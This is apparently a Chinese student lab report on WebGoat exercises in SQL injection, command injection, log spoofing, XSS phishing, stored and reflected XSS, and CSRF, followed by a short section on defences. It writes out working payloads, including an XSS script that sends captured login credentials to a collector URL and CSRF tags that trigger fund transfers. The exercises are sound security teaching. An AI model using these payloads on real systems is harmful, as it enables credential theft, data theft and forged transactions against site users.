一、实验内容
- SQL注入攻击
- 命令注入
- 数字型注入
- 日志欺骗
- 字符串型注入
- 数字型SQL注入
- 字符串注入
- XSS攻击
- XSS 钓鱼
- 存储型XSS攻击
- 反射型XSS攻击
- CSRF攻击
- 跨站请求伪造
- 绕过 CSRF 确认
二、实验原理
- SQL注入:是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
- xss攻击:通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。
- CSRF攻击:跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站。
三、实验步骤
WebGoat安装
首先下载webgoat-container-7.0.1-war-exec.jar,下载地址。
之后在文件的目录下执行命令java -jar webgoat-container-7.0.1-war-exec.jar
打开浏览器在输入网址http://localhost:8080/WebGoat进入WebGoat的登录界面,按照下方提示,我输入的是guest。
下面是登录后的界面。
我们从图中可以清楚地看到左侧功能栏什么只显示了一项,这是不符合正常情况的。这说明我们没有配置jdk,通过文章配置jdk。
配置成功后我们通过命令netstat -tupln | grep 8080查看端口是否被占用,如果被占用,通过kill+进程号命令终止进程。配置后功能栏就多了起来了!
1.SQL注入攻击
命令注入
在正常的参数提交过程中添加恶意代码以执行某条指令。
在菜单栏中选择Injection Flaws,展开页面中选择Command Injection
右键点击页面,选择inspect Element 审查网页元素对源代码进行修改,在复选框中对应位置第一个option的代码,双击进行修改,添加"& netstat -an & ipconfig"
点击view,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!
数字型注入
在station字段中注入特征字符,组合成新的SQL语句。
选择Numeric SQL Injection,右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1
点击Go!即显示所有城市的天气情况。
日志欺骗
攻击者可以利用这种方式清除他们在日志中的痕迹
选择Log Spoofing,在 username中填入20175315%0d%0aLogin Succeeded for username: admin
其中0D%是回车,%0A是换行符
字符串型注入
通过注入字符串绕过认证
在LAB: SQL Injection的展开页面中选择String SQL Injection
右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为18。
以用户Neville(admit)登录,输入密码5315‘ or ‘1‘ = ‘1,即可获取到所有人员列表。
数字型 SQL 注入
通过注入数字型数据绕过认证
选择Numeric SQL Injection,使用用户名 Larry,密码 larry 登录
登陆成功后,右键点击页面,选择inspect Element,将员工ID的value改成101 or 1=1 order by salary desc
点击ViewProfile ,即可查询到最高纪录的结果
字符串注入
通过注入字符串绕过认证。
在菜单栏中选择Injection Flaws,展开页面中选择String SQL Injection
输入查询的用户名Smith‘ or 1=1--(1=1是恒等式,因此能查询到表里面的所有数据),即可查询到所有用户信用卡号码
2.XSS攻击
XSS 钓鱼
当用户输入非法HTTP响应时容易受到XSS攻击。
在菜单栏中选择Cross‐Site Scripting,展开页面中选择Phishing with XSS
在search框中输入以下代码:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> //表格 <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
然后输入用户名及密码进行登录,就可以看见登陆信息了
存储型XSS攻击
用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。
选择Stored XSS Attacks,
在title中任意输入字符,留言板中输入<script>alert("I am 20175315. You‘ve been attacked!!!");</script>
反射型XSS攻击
在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
选择Reflected XSS Attacks,输入XSS钓鱼中的代码,然后输入账号信息
3.CSRF攻击
跨站请求伪造
跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。
在菜单栏中选择Cross‐Site Scripting,展开页面中选择Cross Site Request Forgery (CSRF)。首先查看页面右侧Parameters中的src和menu值。
然后在title中输入任何参数(学号),根据自己参数的实际情况message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=482&menu=900&transferFunds=5000" width="1" height="1" />
绕过 CSRF 确认
跨站点请求伪造欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令
选择CSRF Prompt By‐Pass,
在title框中输入学号,message框中输入代码。(之前还是和上面一样看自己的值)
<iframe src="attack?Screen=501&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=501&menu=900&transferFunds=CONFIRM"> </iframe>
点击进入生成的链接后,攻击成功
四、思考题
(1)SQL注入攻击原理,如何防御?
原理:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
防御:1、普通用户与系统管理员用户的权限要有严格的区分。
2、强迫使用参数化语句。
3、多多使用SQL Server数据库自带的安全参数。
4、加强对用户输入的验证。
(2)XSS攻击的原理,如何防御?
原理:Xss(cross-site scripting)攻击指的是攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
比如:攻击者在论坛中放一个看似安全的链接,骗取用户点击后,窃取cookie中的用户私密信息;或者攻击者在论坛中加一个恶意表单,当用户提交表单的时候,却把信息传送到攻击者的服务器中,而不是用户原本以为的信任站点。
防御:唯一能完全杜绝xss攻击的方法,就是禁用script,img等,显然这是不靠谱的,用户需要丰富的页面内容;当然我们可以用一些方法预防xss攻击,尽量减少xss造成的危害。
(3)CSRF攻击原理,如何防御?
原理:依靠用户标识危害网站,利用网站对用户标识的信任,欺骗用户的浏览器发送HTTP请求给目标站点,另外可以通过IMG标签会触发一个GET请求,可以利用它来实现CSRF攻击。
防御:1、通过 referer、token 或者 验证码 来检测用户提交。
2、尽量不要在页面的链接中暴露用户隐私信息。
3、对于用户修改删除等操作最好都使用post 操作 。
4、避免全站通用的cookie,严格设置cookie的域。
五、实验心得
这是网络对抗的第九次实验也是最后一次实验,并没有碰到什么棘手的问题,也还算顺利,完成的时候还是感觉非常开心的!!!